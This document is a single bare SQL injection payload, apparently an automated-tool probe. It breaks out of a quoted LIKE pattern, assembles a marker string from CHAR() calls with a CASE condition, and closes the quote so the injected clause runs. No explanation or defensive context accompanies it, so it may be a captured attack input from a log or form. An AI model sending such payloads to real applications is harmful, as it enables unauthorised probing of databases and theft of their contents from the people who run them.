-6728%' OR 6623 IN (SELECT (CHAR(113)+CHAR(107)+CHAR(106)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (6623=6623) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113))) AND 'YtRf%'='YtRf